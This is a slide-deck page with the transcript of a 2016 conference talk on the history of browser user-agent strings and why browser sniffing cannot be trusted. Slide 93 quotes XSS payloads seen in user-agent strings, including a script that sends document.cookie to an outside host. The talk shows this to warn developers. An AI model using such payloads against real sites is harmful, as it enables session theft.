Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Everybody Lies @ WebPerfDays

Niels Leenheer
November 06, 2016
Technology
1
210

Everybody Lies @ WebPerfDays

This is a talk about browser sniffing. And yes, I do realise it is 2016. I know browser sniffing is ugly and we should all be using feature detection. But a quick search on Github still shows millions of lines of code referring to user agents strings. So this message clearly hasn’t landed yet. But why is browser sniffing a bad choice? This talk will dive into history and show the origin of the user agent string and the hidden battle between browser makers and web developers. It will show its simple beginnings and the horrible monstrosity it has become.

Niels Leenheer

November 06, 2016
Tweet

More Decks by Niels Leenheer

See All by Niels Leenheer
Fun with Bluetooth @ Frontend United
nielsleenheer
1
100
Fun with Bluetooth @ Amsterdam JSNation
nielsleenheer
1
150
Fun with Bluetooth @ JSConf Belgium
nielsleenheer
0
92
Fun with Bluetooth @ DevDays Vilnius
nielsleenheer
0
160
Fun with Bluetooth @ Universal JS Day
nielsleenheer
0
450
Fun with Bluetooth @ Amsterdam University of Applied Sciences
nielsleenheer
0
75
Fun with Bluetooth @ FrontendNE 2018
nielsleenheer
0
180
Fun with Bluetooth @ DevFestNL
nielsleenheer
0
150
Fun with Bluetooth @ Halfstack
nielsleenheer
0
110

Other Decks in Technology

See All in Technology
The Role of Developer Relations in AI Product Success.
giftojabu1
0
120
AIチャットボット開発への生成AI活用
ryomrt
0
170
Terraform Stacks入門 #HashiTalks
msato
0
350
適材適所の技術選定 〜GraphQL・REST API・tRPC〜 / Optimal Technology Selection
kakehashi
1
170
EventHub Startup CTO of the year 2024 ピッチ資料
eventhub
0
110
rootlessコンテナのすゝめ - 研究室サーバーでもできる安全なコンテナ管理
kitsuya0828
3
380
[FOSS4G 2024 Japan LT] LLMを使ってGISデータ解析を自動化したい！
nssv
1
210
OCI 運用監視サービス 概要
oracle4engineer
PRO
0
4.8k
Amplify Gen2 Deep Dive / バックエンドの型をいかにしてフロントエンドへ伝えるか #TSKaigi #TSKaigiKansai #AWSAmplifyJP
tacck
PRO
0
380
Making your applications cross-environment - OSCG 2024 NA
salaboy
0
190
New Relicを活用したSREの最初のステップ / NRUG OKINAWA VOL.3
isaoshimizu
2
590
Platform Engineering for Software Developers and Architects
syntasso
1
520

Featured

See All Featured
Large-scale JavaScript Application Architecture
addyosmani
510
110k
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
0
89
Raft: Consensus for Rubyists
vanstee
136
6.6k
Into the Great Unknown - MozCon
thekraken
32
1.5k
A Modern Web Designer's Workflow
chriscoyier
693
190k
Thoughts on Productivity
jonyablonski
67
4.3k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
506
140k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
25
1.8k
Agile that works and the tools we love
rasmusluckow
327
21k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
226
22k
ピンチをチャンスに：未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
109
49k
The Cult of Friendly URLs
andyhume
78
6k

Transcript

  1. everybody lies Niels Leenheer webperfdays, november 6th 2016

  2. None
  3. None

  4. this talk is full of 
 lies and deception warning:

  5. None

  6. this talk is about browser sniffing yes…

  7. why?

  8. browser sniffing is 
 dirty

  9. you should use 
 feature detection

  10. None

  11. Dear Web Developers: 
 Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

  12. 5 Reasons Why 
 Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

  13. Browser Detection is Bad https:/ /css-tricks.com/browser-detection-is-bad/

  14. None

  15. feature
 detection responsive
 design progressive
 enhancement best-practices

  16. anti-pattern browser sniffing

  17. browser sniffing is just a tool

  18. everybody uses 
 browser sniffing

  19. None
  20. None

  21. is browser sniffing 
 actually? what…

  22. the http specification defines the user-agent header 
 
 it

    contains a string with information about the browser

  23. every request the browser makes to the server includes the

    user-agent header

  24. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 


  25. GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent:

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 
 HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 
 <!doctype html> <html>

  26. you can access 
 the exact same string 
 using

    javascript

  27. <script type=“text/javascript">
 <!--
 
 alert(navigator.userAgent);
 
 //-->
 </script>


  28. you can use the user-agent string to identify:
 
 the

    browser
 the rendering engine
 the operating system
 the device model
 and more
  29. None

  30. is browser sniffing 
 good for? what…

  31. knowledge

  32. if you know the platform or browser, 
 you can

    streamline the user experience
  33. None

  34. if you know your users, 
 you can build a

    better site for them

  35. if you the device your users are using,
 you can

    tailor the experience for them

  36. if you know which browser is being 
 used, you

    can work around bugs

  37. if you know which browser is causing errors, you can

    fix them

  38. privacy implications

  39. None
  40. None

  41. changing your user agent 
 string actually makes it 


    easier to track you

  42. anonymity by looking 
 like everybody else

  43. brave does not have a useragent string of its own

  44. None
  45. None
  46. None

  47. is browser sniffing 
 so difficult? why…

  48. things started out simple

  49. Mosaic/0.9 The name of 
 the browser The version of


    the browser Mosaic

  50. Mozilla/1.0 (Win3.1) Netscape Navigator The code name of 
 the

    browser The version of
 the browser Operating 
 system

  51. but it quickly started 
 to get complicated

  52. Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer The name

    of 
 the browser The version of
 the browser Operating 
 system Compatible with 
 Netscape Navigator 1.0

  53. Opera/8.54 (Windows 95; U; en) Opera The name of 


    the browser The version of
 the browser Operating 
 system United States 
 level encryption English 
 language

  54. Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0 Opera Rendering 


    engine

  55. Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.0 Version/10.00 Opera The

    name of 
 the browser Fake version of
 the browser Real version of
 the browser

  56. Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1) 
 Gecko/20090624

    Firefox/3.5 Firefox The name of 
 the browser Version of
 the browser The name of 
 the rendering engine Version of
 the rendering
 engine Build date of
 the rendering engine

  57. Mozilla/5.0 (Windows NT 6.0; rv:2.0) 
 Gecko/20100101 Firefox/4.0 Firefox Build

    date is no longer
 updated

  58. Mozilla/5.0 (Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

  59. and it gets worse…

  60. Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en)
 AppleWebKit/525.27.1

    (KHTML, like Gecko)
 Version/3.2.3 Safari/525.28.3 Safari The name of 
 the browser Version of
 the browser

  61. Mozilla/5.0 (Windows; U; Windows NT 6.0; en)
 AppleWebKit/525.27.1 (KHTML, like

    Gecko)
 Chrome/15.0.874.120 Safari/525.28.3 Chrome The name of 
 the browser Version of
 the browser

  62. Mozilla/5.0 (Windows NT 10.0; WOW64) 
 AppleWebKit/537.36 (KHTML, like Gecko)

    
 Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180 Opera The name of 
 the browser Version of
 the browser

  63. Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Version of


    the browser Internet Explorer

  64. Mozilla/5.0 (Windows NT 10.0)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/42.0.2311.135 Safari/525.28.3

    Edge/12.10162 Edge The name of 
 the browser Version of
 the browser

  65. and those were all relatively normal user-agent strings

  66. sometimes browsers simply do not make sense at all

  67. Mozilla/5.0 (Linux; Android 4.3; en; SAMSUNG GT-I9505 Build/JSS15J) AppleWebKit/537.36 (KHTML,

    like Gecko) Version/1.5 Chrome/ 28.0.1500.94 Mobile Safari/537.36 Samsung Internet Version of the browser Samsung device

  68. Mozilla/5.0 (Series40; NOKIALumia800; 
 Profile/MIDP-2.1 Configuration/CLDC-1.1) 
 Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia

    Xpress for Windows Phone

  69. sometimes browsers lie to 
 hide their true identity

  70. Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera The

    name of 
 the browser Version of
 the browser The name of the
 operating system

  71. Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera Mobile

    (desktop mode) The name of 
 the browser Version of
 the browser ROT 13 encrypted
 “mobi“

  72. Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer

    Browser version

  73. Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer

    (compatibility view) Trident 5 means it’s 
 Internet Explorer 9
  74. None

  75. Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0;

    MSIE 5.5; Windows NT 5.0) 
 Opera 7.02 Bork-edition [en]

  76. Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0;

    MSIE 5.5; Windows NT 5.0) 
 Opera 7.02 Bork-edition [en] Vehicle Center Console

  77. Mozilla/4.0 (MobilePhone PLS6600KJ/US/1.0) 
 NetFront/3.1 MMP/2.0

  78. Mozilla/4.08 (PDA; SL-C3000/1.0,Qtopia/1.5.2) NetFront/3.1


  79. Mozilla/5.0 (DTV; TVwithVideoPlayer) NetFront/4.1 
 AQUOSBrowser/1.0 InettvBrowser/2.2 (08001F;DTV06VSFC;0009;0001)


  80. Mozilla/5.0 (Standard; NF41SW/1.1; like Gecko; TASKalfa 406ci) NetFront/4.1


  81. Mozilla/4.0 (PSP (PlayStation Portable); 2.60)

  82. Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2

  83. Mozilla/5.0 (DAG; 1.4; like Gecko) NetFront/4.2
 ?

  84. Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0;

    MSIE 5.5; Windows NT 5.0) 
 Opera 7.02 Bork-edition [en] Opera Bork-edition?
  85. None
  86. None
  87. None

  88. BORK BORK BORK

  89. None
  90. None
  91. None

  92. and it is possible to change the user-agent string yourself

  93. <script>alert("My Little Pony”);</script> <script language="JavaScript">document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img

    src="http://bravo.trollab.org/mylittlepony.png" 
 alt="My Little Pony”> XSS attacks

  94. XSS attacks

  95. 
 (╯°□°）╯︵ ┻━┻
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)


    
 Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; 
 Microsoft; Surface Zune Phone XL) 
 AppleWebKit/537.36 (KHTML, like Gecko)
 funny people

  96. angry people

  97. FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0
 
 Opera/9.80 (Windows

    NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62
 
 Seriously, Go fuck yourself
 
 W3C standards are important. 
 Stop fucking obsessing over user-agent already. angry people

  98. user-agent strings 
 cannot be trusted!

  99. everybody lies

  100. use browser sniffing for controlling access to 
 your website

    you should never

  101. you should never use browser sniffing for determining browser capabilities

  102. you should never build your own 
 browser sniffing library


  103. None

  104. use a browser sniffing library that 
 is regularly updated

    #1

  105. check if it is possible to automatically schedule updates #2

  106. None

  107. “If you tell a big enough lie 
 and tell

    it frequently enough, 
 it will be believed” — Ghandi

  108. “If you tell a big enough lie 
 and tell

    it frequently enough, 
 it will be believed” — Ghandi

  109. — Adolf Hitler “If you tell a big enough lie

    
 and tell it frequently enough, 
 it will be believed”

  110. thank you!

  111. thank you!